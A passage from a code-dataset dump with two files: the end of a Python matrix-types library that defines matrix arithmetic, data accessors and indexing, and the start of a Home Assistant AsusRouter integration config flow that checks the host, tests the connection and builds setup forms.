of the column to be removed.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n raise NotImplementedError()\n\n def _swaprows(self, a_index: int, b_index: int) -> None:\n \"\"\"Swaps two rows in the internal data.\"\"\"\n self._check_rowindex(a_index)\n self._check_rowindex(b_index)\n self._data[a_index], self._data[b_index] = self._data[b_index], self._data[a_index]\n\n @abstractmethod\n def swaprows(self, a_index: int, b_index: int) -> Self:\n \"\"\"Swaps the two rows at indices *a_index* and *b_index*.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n a copy with the two rows swapped.\n\n :param a_index: The index of the first row to be swapped.\n :param b_index: The index of the second row, which *a_index* should be swapped with.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n raise NotImplementedError()\n\n def _swapcols(self, a_index: int, b_index: int) -> None:\n \"\"\"Swaps two columns in the internal data.\"\"\"\n self._check_colindex(a_index)\n self._check_colindex(b_index)\n for row in self._rowrange:\n self._data[row][a_index], self._data[row][b_index] = \\\n self._data[row][b_index], self._data[row][a_index]\n\n @abstractmethod\n def swapcols(self, a_index: int, b_index: int) -> Self:\n \"\"\"Swaps the two columns at indices *a_index* and *b_index*.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n a copy with the two columns swapped.\n\n :param a_index: The index of the first column to be swapped.\n :param b_index: The index of the second column, which *a_index* should be swapped with.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n raise NotImplementedError()\n\n # MATRIX OPERATIONS\n\n def _imatadd(self, other: MatrixABC[Any]) -> None:\n \"\"\"Internally adds the values of *other* Matrix to this one.\"\"\"\n # Check shapes are compatible\n if self._shape != other._shape:\n raise ValueError(f\"Matrices don't match in shape: {self._shape} + {other._shape}\")\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = self._data[row][col] + other._data[row][col]\n\n def matadd(self, other: MatrixABC[V]) -> Self | MatrixABC[V]:\n \"\"\"Adds two matrices.\n\n The *other* matrix must have the same shape as the matrix to which\n it is added.\n\n Returns a new matrix of the same shape as the original matrix.\n\n :param other: The :class:`Matrix` or :class:`FrozenMatrix` to be\n added to this one.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *other* added.\n \"\"\"\n new = self.copy()\n new._imatadd(other)\n return new\n\n def _imatsub(self, other: MatrixABC[Any]) -> None:\n \"\"\"Internally subtracts the values of *other* Matrix from this one.\"\"\"\n # Check shapes are compatible\n if self._shape != other._shape:\n raise ValueError(f\"Matrices don't match in shape: {self._shape} @ {other._shape}\")\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = self._data[row][col] - other._data[row][col]\n\n def matsub(self, other: MatrixABC[V]) -> Self | MatrixABC[V]:\n \"\"\"Subtracts two matrices.\n\n The *other* matrix must have the same shape as the matrix from which\n it is subtracted.\n\n Returns a new matrix of the same shape as the original matrix.\n\n :param other: The :class:`Matrix` or :class:`FrozenMatrix` to be\n subtracted from this one.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *other* subtracted.\n \"\"\"\n new = self.copy()\n new._imatsub(other)\n return new\n\n def _imatmul(self, other: MatrixABC[Any]) -> None:\n \"\"\"Matrix-multiplies internal data with *other* matrix.\"\"\"\n if self._shape != (other._shape[1], other._shape[0]):\n raise ValueError(\"Shape of *other* matrix not compatible for matrix multiplication\")\n self._data = list(matmul(self._data, other._data))\n self._shape = (self._shape[0], other._shape[1])\n self._calculate_helpers()\n\n def matmul(self, other: MatrixABC[V]) -> Self | MatrixABC[V]:\n \"\"\"Multiplies two matrices.\n\n The *other* matrix's shape must be the inverse of the matrix to which\n it applies. For example, if we have a matrix of shape (2, 3), it can\n only be multiplied with a matrix of the shape (3, 2).\n\n Returns a new matrix of shape (k, n), where *k* is the number of rows\n of the original matrix and *n* is the number of columns of the *other*\n matrix.\n\n :param other: The :class:`Matrix` or :class:`FrozenMatrix` to be\n multiplied with this one.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *other* multiplied into it.\n \"\"\"\n new = self.copy()\n new._imatmul(other)\n return new\n\n def _iscaladd(self, scalar: Any) -> None:\n \"\"\"Internally add the scalar *scalar* to all values.\"\"\"\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = self._data[row][col] + scalar\n\n def scaladd(self, scalar: V) -> Self | MatrixABC[V]:\n \"\"\"Adds *scalar* to the value of each cell in the matrix.\n\n Returns a copy of the matrix with the scalar addition applied.\n\n :param scalar: The scalar to be added to each cell's value.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *scalar* added to its cell values.\n \"\"\"\n new = self.copy()\n new._iscaladd(scalar)\n return new\n\n def _iscalsub(self, scalar: Any) -> None:\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = self._data[row][col] - scalar\n\n def scalsub(self, scalar: V) -> Self | MatrixABC[V]:\n \"\"\"Subtracts *scalar* from the value of each cell in the matrix.\n\n Returns a copy of the matrix with the scalar subtraction applied.\n\n :param scalar: The scalar to be subtracted from each cell's value.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *scalar* subtracted from its cell values.\n \"\"\"\n new = self.copy()\n new._iscalsub(scalar)\n return new\n\n def _iscalmul(self, scalar: Any) -> None:\n \"\"\"Internally multiplies each cell value with *scalar*.\"\"\"\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = self._data[row][col] * scalar\n\n def scalmul(self, scalar: V) -> Self | MatrixABC[V]:\n \"\"\"Multiplies the value of each cell in the matrix with *scalar*.\n\n Returns a copy of the matrix with the scalar multiplication applied.\n\n :param scalar: The scalar to be subtracted from each cell's value.\n :returns: a copy of the :class:`Matrix` or :class:`FrozenMatrix`\n instance with *scalar* multiplied into each cell's values.\n \"\"\"\n new = self.copy()\n new._iscalmul(scalar)\n return new\n\n def _foreach(self, func: Callable[..., Any], *args: Any, **kwargs: Any) -> None:\n \"\"\"Internally applies *func* to each cell.\"\"\"\n for row in self._rowrange:\n for col in self._colrange:\n func(self._data[row][col], *args, **kwargs)\n\n def foreach(\n self,\n func: Callable[..., V],\n *args: Any,\n **kwargs: Any\n ) -> Self | MatrixABC[V]:\n \"\"\"Applies *func* to each cell in the matrix.\n\n Any additional *args* or *kwargs* passed after *func* will be passed\n as arguments to *func*.\n\n The return value of *func* will be ignored. To mutate the values\n of each cell in-situ based on the return value, use :func:`map()`\n instead.\n\n :Example:\n\n >>> print(m)\n ┌ ┐\n │ 1 2 3 │\n │ 4 5 6 │\n └ ┘\n >>> m.foreach(lambda a: print(a**2, end=\", \"))\n 1, 4, 9, 16, 25, 36,\n\n :param func: A callable accepting at least one argument (namely the\n value of each cell as the matrix is being iterated over).\n :returns: its own :class:`Matrix` instance or a copy of the\n :class:`FrozenMatrix` instance.\n \"\"\"\n self._foreach(func, *args, **kwargs)\n return self\n\n def _map(self, func: Callable[..., Any], *args: Any, **kwargs: Any) -> None:\n \"\"\"Internally applies *func* to each cell and stores the return value in cell.\"\"\"\n for row in self._rowrange:\n for col in self._colrange:\n self._data[row][col] = func(self._data[row][col], *args, **kwargs)\n\n @abstractmethod\n def map(\n self,\n func: Callable[..., V],\n *args: Any,\n **kwargs: Any\n ) -> Self | MatrixABC[V]:\n \"\"\"Applies *func* to each cell in the matrix and stores the return value\n of *func* as the new cell value.\n\n Any additional *args* or *kwargs* passed after *func* will be passed\n as parameters to *func*.\n\n This will mutate the values of each cell in-situ based on the return\n value of *func*. To apply *func* without affecting the values store\n in the matrix, use :func:`foreach()` instead.\n\n Returns the original matrix with *func* applied in-situ if the matrix\n is mutable, otherwise returns a copy of the matrix with *func* applied.\n\n :Example:\n\n >>> m = Matrix([[1, 2, 3], [4, 5, 6]], default=0)\n >>> print(m)\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n >>> print(m.map(lambda a: a**2))\n 0 1 2\n ┌ ┐\n 0 │ 1 4 9 │\n 1 │ 16 25 36 │\n └ ┘\n\n :param func: A callable accepting at least one argument (namely the\n value of each cell as the matrix is being iterated over).\n :param args: Additional positional arguments to be passed to *func*.\n :param kwargs: Additional keyword arguments to be passed to *func*.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n raise NotImplementedError()\n\n # DATA ACCESS MODALITIES\n\n def copy(self) -> Self:\n \"\"\"Returns a copy of the matrix object.\n\n :returns: A copy of *self*.\n \"\"\"\n return copyfunc(self)\n\n def aslist(self, *, by: RowColT = \"row\") -> list[list[T]]:\n \"\"\"Returns the matrix data as a list of lists.\n\n If *by* is :code:`\"row\"` (the default), then the returned list of lists\n is in the format *rows[columns]*. If *by* is :code:`\"col\"` then the\n returned list is in the format *columns[rows]*.\n\n For example, the matrix::\n\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n\n will be returned as a list of the form::\n\n [\n [1, 2, 3],\n [4, 5, 6]\n ]\n\n Note that this is different from invoking :code:`list(m)` on a matrix,\n which does not return a list of list with the matrix's values, but\n rather a list of :code:`(row, col)` index pairs for each cell,\n equivalent to calling :func:`keys()` on a matrix object.\n\n :param by: Specifies whether to build the list row-wise or column-wise.\n :returns: A list containing one list for each row/column, depending on\n the direction indicated by the *by* argument.\n \"\"\"\n if by == \"row\":\n return [list(row) for row in self._data] # Ensure shallow copy of rows\n elif by == \"col\":\n return [list(row) for row in zip(*self._data, strict=True)]\n raise TypeError(\"Argument 'by' must be literal 'row' or 'col'\")\n\n def asdict(self) -> dict[tuple[int, int], T]:\n \"\"\"Returns the matrix data as a dictionary with coordinates as key.\n\n The returned dictionary's keys are tuples of the form\n :code:`(row, column)`.\n\n For example, the matrix::\n\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n\n will be returned as a dict of the form::\n\n {\n (0, 0): 1,\n (0, 1): 2,\n (0, 2): 3,\n (1, 0): 4,\n (1, 1): 5,\n (1, 2): 6\n }\n\n :returns: A dictionary with coordinates as keys and cell values as\n values.\n \"\"\"\n return {(r, c): self._data[r][c] for r in self._rowrange for c in self._colrange}\n\n def keys(self, *, by: RowColT = \"row\") -> list[tuple[int, int]]:\n \"\"\"Returns a list of keys for all cells in the matrix.\n\n The list contains tuples with the coordinates in the form\n :code:`(row, col)`. These are sorted by row first if *by* is set to\n :code:`\"row\"` (the default), and they are sorted by column first if\n *by* is set to :code:`\"col\"`.\n\n :param by: Whether to sort the keys row-wise or column-wise.\n :returns: A list of tuples with coordinates for each cell, sorted as\n indicated by the *by* argument.\n \"\"\"\n if by == \"row\":\n return [(r, c) for r in self._rowrange for c in self._colrange]\n elif by == \"col\":\n return [(r, c) for c in self._colrange for r in self._rowrange]\n raise TypeError(\"Argument 'by' must be literal 'row' or 'col'\")\n\n def values(self, *, by: RowColT = \"row\") -> list[T]:\n \"\"\"Returns a flat list of the matrix's values.\n\n By default, the returned list will be sequenced row by row.\n For example, the matrix::\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n\n will be returned as the list::\n\n [1, 2, 3, 4, 5, 6]\n\n This behaviour can be modified by passing the literal `\"column\"` as the\n keyword-only argument *by*, such that :code:`m.values(by=\"column\")`\n would return::\n\n [1, 4, 2, 5, 3, 6]\n\n :param by: The direction in which the matrix values should be\n serialised into a flat sequence, row-wise or column-wise.\n :returns: A list with the matrix's values.\n \"\"\"\n if by == \"row\":\n return list(chain(*self._data))\n elif by == \"col\":\n transposed = (list(row) for row in zip(*self._data, strict=True))\n return list(chain(*transposed))\n raise TypeError(\"Argument 'by' must be literal 'row' or 'col'\")\n\n def items(self, *, by: RowColT = \"row\") -> list[tuple[tuple[int, int], T]]:\n \"\"\"Returns a list of key--value pairs for all cells in the matrix.\n\n Each item in the returned list is a tuple of the form\n :code:`((row, col), value)`.\n\n This is useful for iteration over a matrix where the row and column\n indices should be kept track of. For example, if the row and column\n index don't need to be unpacked ::\n\n >>> m = Matrix([[1, 2], [3, 4]], default=0)\n >>> for key, value in m.items():\n ... print(f\"{key}: {value}\")\n ...\n (0, 0): 1\n (0, 1): 2\n (1, 0): 3\n (1, 1): 4\n\n If the row and key values should be unpacked this can be achieved by\n further tuple unpacking ::\n\n >>> for (row, col), val in m.items():\n ... print(f\"{row}, {col}: {val}\")\n ...\n 0, 0: 1\n 0, 1: 2\n 1, 0: 3\n 1, 1: 4\n\n :param by: The direction in which the matrix values should be\n serialised into a flat sequence, row-wise or column-wise.\n :returns: A list with pairs of the matrix's keys and corresponding\n values.\n \"\"\"\n if by == \"row\":\n return [((r, c), self._data[r][c]) for r in self._rowrange for c in self._colrange]\n elif by == \"col\":\n return [((r, c), self._data[r][c]) for c in self._colrange for r in self._rowrange]\n raise TypeError(\"Argument 'by' must be literal 'row' or 'col'\")\n\n # DATA GETTERS AND SETTERS\n\n def submatrix(self, rows: IndexT, cols: IndexT) -> Self:\n \"\"\"Return a submatrix bounded by *rows* and *cells*.\"\"\"\n return self._getslice(rows, cols)\n # rows = self._rowtoindices(rows)\n # cols = self._coltoindices(cols)\n # shape = (len(rows), len(cols))\n # data = [self._data[row][col] for row in rows for col in cols]\n # return Matrix(data, shape, default=self._default)\n\n def _getitem(self, row: int, col: int) -> T:\n \"\"\"Get a single item.\"\"\"\n self._check_rowindex(row)\n self._check_colindex(col)\n return self._data[row][col]\n\n def _setitem(self, row: int, col: int, value: T) -> None:\n \"\"\"Set a single item.\"\"\"\n self._check_rowindex(row)\n self._check_colindex(col)\n self._data[row][col] = value\n\n def _getslice(self, row: IndexT, col: IndexT) -> Self:\n rows = self._rowtoindices(row)\n cols = self._coltoindices(col)\n return self.__class__( # type: ignore\n [[self._data[r][c] for c in cols] for r in rows],\n default=self._default\n )\n\n def _setslice(\n self,\n row: IndexT,\n col: IndexT,\n values: Sequence[Sequence[T]] | Sequence[T] | MatrixABC[T]\n ) -> None:\n rows = self._rowtoindices(row)\n cols = self._coltoindices(col)\n cells = [(r, c) for r in rows for c in cols]\n flat_values: Sequence[T]\n if isinstance(values, MatrixABC):\n flat_values = values.values()\n elif isinstance(values, Sequence):\n if len(values) > 0 and all(isinstance(x, Sequence) for x in values):\n values = cast(Sequence[Sequence[T]], values)\n flat_values = list(chain(*values))\n else:\n values = cast(Sequence[T], values)\n flat_values = values\n else:\n raise TypeError(\n \"Argument 'values' must be of type Sequence[T], \"\n f\"Sequence[Sequence[T]], or MatrixT, not {type(values)}\"\n )\n if len(flat_values) != len(cells):\n raise ValueError(\n f\"Attempting to assign {len(flat_values)} values to {len(cells)} cells\"\n )\n for (row, col), value in zip(cells, flat_values, strict=True):\n self._setitem(row, col, value)\n\n @overload\n def get(self, row_or_key: tuple[int, int]) -> T:\n ...\n\n @overload\n def get(self, row_or_key: tuple[slice | tuple[int, ...], int]) -> Self:\n ...\n\n @overload\n def get(self, row_or_key: tuple[int, slice | tuple[int, ...]]) -> Self:\n ...\n\n @overload\n def get(self, row_or_key: tuple[slice | tuple[int, ...], slice | tuple[int, ...]]) -> Self:\n ...\n\n @overload\n def get(self, row_or_key: int, col: int) -> T:\n ...\n\n @overload\n def get(self, row_or_key: slice | tuple[int, ...], col: int) -> Self:\n ...\n\n @overload\n def get(self, row_or_key: int, col: slice | tuple[int, ...]) -> Self:\n ...\n\n @overload\n def get(self, row_or_key: slice | tuple[int, ...], col: slice | tuple[int, ...]) -> Self:\n ...\n\n def get(self,\n row_or_key: IndexT | tuple[IndexT, IndexT],\n col: IndexT | None = None) -> T | Self:\n \"\"\"Return an item or submatrix based on row and colum indices.\n\n Can be invoked as either :code:`get((row, col))` or\n :code:`get(row, col)`.\n\n Returns the value of a cell if both *rows* and *cols* are integers\n which together reference a unique cell. Returns a submatrix if either\n *rows*, *cols* or both are slice objects or tuples of integers with\n several row/column indices.\n\n :param row_or_key: The row index or row indices (as a tuple or slice)\n of the row(s) to be returned, or a tuple with :code:`(row, col)`\n argument values if *col* is omitted.\n :param col: The column index or column indices (as a tuple or slice) of\n the column(s) to be returned.\n :returns: The value of the matrix cell if both *row* and *col* are\n integers refering to a single cell, otherwise a submatrix covering\n the are selected by *row* and *col*.\n \"\"\"\n row = row_or_key\n if col is None and isinstance(row, tuple) and len(row) == 2:\n (row, col) = row\n if not (\n (\n isinstance(row, (slice, int))\n or (isinstance(row, tuple) and all(isinstance(x, int) for x in row))\n )\n and\n (\n isinstance(col, (slice, int))\n or (isinstance(col, tuple) and all(isinstance(x, int) for x in col))\n )\n ):\n raise TypeError(\n \"Matrix indices must be tuples of type (int | slice | tuple[int, ...], int | slice \"\n f\"| tuple[int, ...]), not ({type(row)}, {type(col)})\"\n )\n row = cast(slice | int | tuple[int, ...], row) # inference from logic above fails here\n if isinstance(row, (slice, tuple)) or isinstance(col, (slice, tuple)):\n return self._getslice(row, col)\n return self._getitem(row, col)\n\n def __getitem__(self, key: tuple[IndexT, IndexT]) -> T | Self:\n if not isinstance(key, tuple) or len(key) != 2:\n raise TypeError(\n \"Matrix indices must be tuples of type (int | slice | tuple[int, ...], int | slice \"\n f\"| tuple[int, ...]), not {type(key)}\"\n )\n return self.get(key[0], key[1])\n\n def __iter__(self) -> Iterator[tuple[int, int]]:\n return iter(self.keys())\n\n # DUNDER METHODS\n\n def __str__(self) -> str:\n return DefaultFormatter(self)\n\n def __repr__(self) -> str:\n return \"\".join((\n f\"{self.__class__.__name__}((\",\n *(f\"{tuple(row)!r},\" for row in self._data),\n f\"), default={self._default!r})\"\n ))\n\n def __eq__(self, other: MatrixABC[Any] | Sequence[Sequence[Any]] | Any) -> bool:\n if isinstance(other, MatrixABC):\n return self._data == other._data\n if isinstance(other, Sequence):\n if self._shape == (0, 0) and len(other) == 0:\n return True\n if all(list(other[r]) == self._data[r] for r in range(0, len(other))):\n return True\n return False\n return bool(self._data == other)\n\n def __bool__(self) -> bool:\n if self._shape[0] == 0 or self._shape[1] == 0:\n return False\n return any(\n self._data[r][c] != self._default for c in self._colrange for r in self._rowrange\n )\n\n def __len__(self) -> int:\n return self._shape[0] * self._shape[1]\n\n def __contains__(self, item: T) -> bool:\n return any(item in self._data[r] for r in self._rowrange)\n\n def __add__(self, other: MatrixABC[V] | V) -> Self | MatrixABC[V]:\n if isinstance(other, MatrixABC):\n return self.matadd(other)\n return self.scaladd(other)\n\n def __sub__(self, other: MatrixABC[V] | V) -> Self | MatrixABC[V]:\n if isinstance(other, MatrixABC):\n return self.matsub(other)\n return self.scalsub(other)\n\n def __mul__(self, other: V) -> Self | MatrixABC[V]:\n return self.scalmul(other)\n\n def __rmul__(self, other: V) -> Self | MatrixABC[V]:\n return self.scalmul(other)\n\n def __matmul__(self, other: MatrixABC[V]) -> Self | MatrixABC[V]:\n return self.matmul(other)\n","repo_name":"thatfloflo/matrix-types","sub_path":"matrices/_base.py","file_name":"_base.py","file_ext":"py","file_size_in_byte":51126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70537101364","text":"\"\"\"AsusRouter config flow.\"\"\"\n\nfrom __future__ import annotations\n\nimport logging\n\n_LOGGER = logging.getLogger(__name__)\n\nimport socket\nfrom typing import Any\n\nimport voluptuous as vol\nfrom asusrouter import (\n AsusRouterConnectionError,\n AsusRouterLoginBlockError,\n AsusRouterLoginError,\n)\nfrom homeassistant import config_entries\nfrom homeassistant.const import (\n CONF_HOST,\n CONF_NAME,\n CONF_PASSWORD,\n CONF_PORT,\n CONF_SCAN_INTERVAL,\n CONF_SSL,\n CONF_USERNAME,\n CONF_VERIFY_SSL,\n)\nfrom homeassistant.core import HomeAssistant, callback\nfrom homeassistant.data_entry_flow import FlowResult\nfrom homeassistant.helpers import config_validation as cv\n\nfrom .bridge import ARBridge\nfrom .const import (\n CONF_CACHE_TIME,\n CONF_CERT_PATH,\n CONF_CONFIRM,\n CONF_CONSIDER_HOME,\n CONF_ENABLE_CONTROL,\n CONF_ENABLE_MONITOR,\n CONF_INTERFACES,\n DEFAULT_CACHE_TIME,\n DEFAULT_CONSIDER_HOME,\n DEFAULT_ENABLE_CONTROL,\n DEFAULT_ENABLE_MONITOR,\n DEFAULT_PORT,\n DEFAULT_SCAN_INTERVAL,\n DEFAULT_SSL,\n DEFAULT_USERNAME,\n DEFAULT_VERIFY_SSL,\n DELAULT_INTERFACES,\n DOMAIN,\n RESULT_CONNECTION_REFUSED,\n RESULT_ERROR,\n RESULT_LOGIN_BLOCKED,\n RESULT_SUCCESS,\n RESULT_UNKNOWN,\n RESULT_WRONG_CREDENTIALS,\n SIMPLE_SETUP_PARAMETERS,\n STEP_TYPE_COMPLETE,\n STEP_TYPE_SIMPLE,\n)\n\n\ndef _check_host(\n host: str,\n) -> str | None:\n \"\"\"Get the IP address for the hostname.\"\"\"\n\n try:\n return socket.gethostbyname(host)\n except socket.gaierror:\n return None\n\n\ndef _check_errors(\n errors: dict[str, Any],\n) -> bool:\n \"\"\"Check for errors.\"\"\"\n\n if (\n \"base\" in errors\n and errors[\"base\"] != RESULT_SUCCESS\n and errors[\"base\"] != str()\n ):\n return True\n\n return False\n\n\nasync def _async_get_network_interfaces(\n hass: HomeAssistant,\n configs: dict[str, Any],\n options: dict[str, Any] = dict(),\n) -> list[str]:\n \"\"\"Return list of possible to monitor network interfaces.\"\"\"\n\n api = ARBridge(hass, configs, options)\n\n try:\n if not api.is_connected:\n await api.async_connect()\n labels = await api.async_get_network_interfaces()\n await api.async_disconnect()\n return labels\n except Exception as ex:\n _LOGGER.warning(\n f\"Cannot get available network stat sensors for {configs[CONF_HOST]}: {ex}\"\n )\n return DELAULT_INTERFACES\n\n\nasync def _async_check_connection(\n hass: HomeAssistant,\n configs: dict[str, Any],\n options: dict[str, Any] = dict(),\n simple: bool = False,\n) -> dict[str, Any]:\n \"\"\"Check connection to the device with provided configurations.\"\"\"\n\n step_type = STEP_TYPE_COMPLETE\n\n configs_to_use = configs.copy()\n configs_to_use.update(options)\n if not CONF_HOST in configs_to_use:\n return {\n \"errors\": RESULT_ERROR,\n }\n host = configs_to_use[CONF_HOST]\n\n result = dict()\n\n if simple:\n configs_to_use.update(\n SIMPLE_SETUP_PARAMETERS[\"ssl\"]\n if configs_to_use[CONF_SSL]\n else SIMPLE_SETUP_PARAMETERS[\"no_ssl\"]\n )\n step_type = STEP_TYPE_SIMPLE\n\n _LOGGER.debug(f\"Setup ({step_type}) initiated\")\n\n api = ARBridge(hass, configs_to_use)\n\n try:\n await api.async_connect()\n # Credentials error\n except AsusRouterLoginError:\n _LOGGER.error(f\"Error during connection to '{host}'. Wrong credentials\")\n return {\n \"errors\": RESULT_WRONG_CREDENTIALS,\n }\n # Login blocked by the device\n except AsusRouterLoginBlockError as ex:\n _LOGGER.error(\n f\"Device '{host}' has reported block for the login (to many wrong attempts were made). Please try again in {ex.timeout} seconds\"\n )\n return {\n \"errors\": RESULT_LOGIN_BLOCKED,\n }\n # Connection refused\n except AsusRouterConnectionError as ex:\n if simple:\n _LOGGER.debug(\n f\"Simplified setup failed for {host}. Switching to the complete mode. Original exception of type {type(ex)}: {ex}\"\n )\n else:\n _LOGGER.error(\n f\"Connection refused by {host}. Check SSL and port settings. Original exception: {ex}\"\n )\n return {\n \"errors\": RESULT_CONNECTION_REFUSED,\n }\n # Anything else\n except Exception as ex:\n if simple:\n _LOGGER.debug(\n f\"Simplified setup failed for {host}. Switching to the complete mode. Original exception of type {type(ex)}: {ex}\"\n )\n else:\n _LOGGER.error(\n f\"Unknown error of type '{type(ex)}' during connection to {host}: {ex}\"\n )\n return {\n \"errors\": RESULT_UNKNOWN,\n }\n # Cleanup, so no unclosed sessions will be reported\n finally:\n await api.async_clean()\n\n result[\"unique_id\"] = await api.get_serial()\n await api.async_disconnect()\n for item in configs:\n configs_to_use.pop(item)\n\n result[\"configs\"] = configs_to_use\n\n _LOGGER.debug(f\"Setup ({step_type}) successful\")\n\n return result\n\n\ndef _create_form_discovery(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'discovery' step.\"\"\"\n\n schema = {\n vol.Required(CONF_HOST, default=user_input.get(CONF_HOST, \"\")): cv.string,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_credentials(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'credentials' step.\"\"\"\n\n schema = {\n vol.Required(\n CONF_USERNAME, default=user_input.get(CONF_USERNAME, DEFAULT_USERNAME)\n ): cv.string,\n vol.Required(CONF_PASSWORD, default=user_input.get(CONF_PASSWORD, \"\")): cv.string,\n vol.Optional(CONF_SSL, default=user_input.get(CONF_SSL, DEFAULT_SSL)): cv.boolean,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_device(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'device' step.\"\"\"\n\n schema = {\n vol.Required(\n CONF_USERNAME, default=user_input.get(CONF_USERNAME, DEFAULT_USERNAME)\n ): cv.string,\n vol.Required(CONF_PASSWORD, default=user_input.get(CONF_PASSWORD, \"\")): cv.string,\n vol.Optional(CONF_PORT, default=user_input.get(CONF_PORT, DEFAULT_PORT)): cv.positive_int,\n vol.Optional(CONF_SSL, default=user_input.get(CONF_SSL, DEFAULT_SSL)): cv.boolean,\n vol.Optional(\n CONF_VERIFY_SSL, default=user_input.get(CONF_VERIFY_SSL, DEFAULT_VERIFY_SSL)\n ): cv.boolean,\n vol.Optional(\n CONF_CERT_PATH,\n default=user_input.get(CONF_CERT_PATH, \"\"),\n ): cv.string,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_operation_mode(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'operation_mode' step.\"\"\"\n\n schema = {\n # vol.Required(\n # CONF_ENABLE_MONITOR,\n # default = user_input.get(\n # CONF_ENABLE_MONITOR, DEFAULT_ENABLE_MONITOR\n # ),\n # ): bool,\n vol.Required(\n CONF_ENABLE_CONTROL,\n default=user_input.get(CONF_ENABLE_CONTROL, DEFAULT_ENABLE_CONTROL),\n ): cv.boolean,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_times(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'times' step.\"\"\"\n\n schema = {\n vol.Required(\n CONF_CACHE_TIME,\n default=user_input.get(CONF_CACHE_TIME, DEFAULT_CACHE_TIME),\n ): cv.positive_int,\n vol.Required(\n CONF_SCAN_INTERVAL,\n default=user_input.get(CONF_SCAN_INTERVAL, DEFAULT_SCAN_INTERVAL),\n ): cv.positive_int,\n vol.Required(\n CONF_CONSIDER_HOME,\n default=user_input.get(CONF_CONSIDER_HOME, DEFAULT_CONSIDER_HOME),\n ): cv.positive_int,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_interfaces(\n user_input: dict[str, Any] = dict(),\n default: list[str] = list(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'interfaces' step.\"\"\"\n\n schema = {\n vol.Required(\n CONF_INTERFACES,\n default=default,\n ): cv.multi_select({k: k for k in user_input[\"interfaces\"]}),\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_name(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'name' step.\"\"\"\n\n schema = {\n vol.Optional(CONF_NAME, default=user_input.get(CONF_NAME, \"\")): cv.string,\n }\n\n return vol.Schema(schema)\n\n\ndef _create_form_confirmation(\n user_input: dict[str, Any] = dict(),\n) -> vol.Schema:\n \"\"\"Create a form for the 'confirmation' step.\"\"\"\n\n schema = {\n vol.Optional(CONF_CONFIRM, default=user_input.get(CONF_CONFIRM, False)): cv.boolean,\n }\n\n return vol.Schema(schema)\n\n\nclass ASUSRouterFlowHandler(config_entries.ConfigFlow, domain=DOMAIN):\n \"\"\"Handle config flow for AsusRouter.\"\"\"\n\n VERSION = 3\n\n def __init__(self):\n \"\"\"Initialise config flow.\"\"\"\n\n self._configs = dict()\n self._options = dict()\n self._unique_id: str | None = None\n self._simple = False\n\n # Dictionary last_step: next_step\n self._steps = {\n \"discovery\": self.async_step_credentials,\n \"credentials\": self.async_step_operation_mode,\n \"credentials_error\": self.async_step_device,\n \"device\": self.async_step_operation_mode,\n \"operation_mode\": self.async_step_times,\n \"times\": self.async_step_interfaces,\n \"interfaces\": self.async_step_name,\n \"name\": self.async_step_finish,\n }\n\n async def async_select_step(\n self,\n last_step: str | None = None,\n errors: dict[str, Any] = dict(),\n ) -> FlowResult:\n \"\"\"Step selector.\"\"\"\n\n if last_step:\n if last_step in self._steps:\n if _check_errors(errors):\n return await self._steps[f\"{last_step}_error\"](errors=errors)\n else:\n return await self._steps[last_step]()\n else:\n raise ValueError(f\"Unknown value of last_step: {last_step}\")\n else:\n raise ValueError(\"Step name was not provided\")\n\n ### USER SETUP -->\n\n async def async_step_user(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Flow initiated by user.\"\"\"\n\n return await self.async_step_discovery(user_input)\n\n # Step #1 - discover the device\n async def async_step_discovery(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Device discovery step.\"\"\"\n\n step_id = \"discovery\"\n\n errors = dict()\n\n if user_input:\n # Check if host can be resolved\n ip = await self.hass.async_add_executor_job(\n _check_host, user_input[CONF_HOST]\n )\n if not ip:\n errors[\"base\"] = \"cannot_resolve_host\"\n\n if not errors:\n self._configs.update(user_input)\n return await self.async_select_step(step_id, errors)\n\n if 